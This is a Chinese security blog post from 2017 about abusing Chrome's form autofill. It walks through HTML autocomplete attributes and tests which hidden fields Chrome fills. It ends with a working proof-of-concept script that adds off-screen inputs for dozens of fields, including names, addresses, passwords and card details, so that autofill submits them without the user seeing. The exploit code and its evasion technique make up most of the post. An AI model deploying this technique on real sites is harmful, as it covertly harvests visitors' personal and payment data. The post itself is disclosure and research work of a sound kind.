Chrome中“自动填充”安全性研究 2017-01-17 #chrome
昨天看到了一篇关于Chrome自动填充安全相关的文章。
文章中提到:“自动填充是个非常方便地浏览器特性,不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome 最近才修复了某个久负盛名漏洞。简单而言,黑客能够利用自动填充窃取你并不想提交给该网站的信息”
效果如下图:
并提供了一段js来演示漏洞:
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
emailField.addEventListener('focus', function() {
var wrap = autocompletes.reduce(function(wrapper, field) {
var input = document.createElement('input');
// Make them not focussable
input.tabIndex = -1;
input.autocomplete = field;
wrapper.appendChild(input);
return wrapper;
}, document.createElement('div'));
// Hide the wrapper
wrap.classList.add('hidden');
form.appendChild(wrap);
// Inject the autocompletes once
this.removeEventListener('focus', arguments.callee);
});
我在测试以后并没有成功复现该漏洞(因为只提供了js代码,html并没有提供,稍微改了改代码也没有达到想要实现的效果)。
但是通过上述js代码,基本能看出来是什么样的原理。
autocomplete
html中要实现浏览器中的表单自动填充主要依靠于autocomplete
属性。
起初autocomplete
属性只支持on
或off
。比如下面代码:
First name:
Last name:
E-mail:
如上代码对开启了整个表单的autocomplete
却对email
关闭了autocomplete
,所以我们在点击非email
的其他表单即可打开自动填充功能:
但在email中却不能展开自动填充功能:
后来HTML5标准加入了对autocomplete
的支持,并且给autocomplete
加入了更多的标示符,以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。
比如如下代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
</fieldset>
</body>
</html>
我在autocomplete
属性中写入了语义化的字符,比如name
、street-address
等。
浏览器即可准确的把相应的信息填入到相应的表单中。
恶意利用
如果能在用户不知情的情况下,拿到用户浏览器存储的其他信息,即可造成很可怕的后果,那么我们就得让用户看不见我们的输入框就好了。
通过如上demo我们可以发现,当我们选择自动填充以后,chrome不仅会把当前表单字段填充到input中,也会把其他表单字段填充到input中。
type=hidden
那么如果我们写一些type
为hidden
的input
标签,并且加上autocomplete
属性,chrome是否会自动补上带有hidden
属性的input
标签的信息呢呢。
我们使用如下代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我们将第一个姓名字段设置为hidden
,然后使用自动填充,并且提交表单,查看请求包:
发现type
属性为hidden
的表单并没有获取到,但其他非hiddend的信息都拿到了。
display:none;
既然type
设置成hidden
浏览器不给信息,那么我们如果让这个input
表单让用户看不见,但浏览器认识呢?比如如下代码:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="display:none;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我们在表单外层放一个div,让整个div,display:none
。
然而也是不行的:
看来chrome已经在这里做了足够的手脚来防护这样的问题。
其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。
看来现在已经被修复了。那么我们就没有其他办法实现了吗?
让用户看不见,浏览器认识的魔法
我们现在要做的无疑是让浏览器认识且没有做防护,并且让用户看不见这个表单,我们的任务就达到了。
这样的办法有很多,比如这样:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="margin-left:-1000px;height:0px;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
效果如下:
bingo!!
实现让用户看不见,浏览器却认识的办法很多很多。
比如上面的,比如脱离文档流,比如使用表单的所有东西设置成白色(让用户肉眼看不见即可),比如使用z-index调到下层,等等等等……
最终POC
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";
for (x in autocompletes){
var tmpInput = document.createElement('input');
tmpInput.name = autocompletes[x];
tmpInput.autocomplete = autocompletes[x];
mydiv.appendChild(tmpInput);
}
myform.appendChild(mydiv);
在线测试地址:http://www.hackersb.cn/poc/autofill/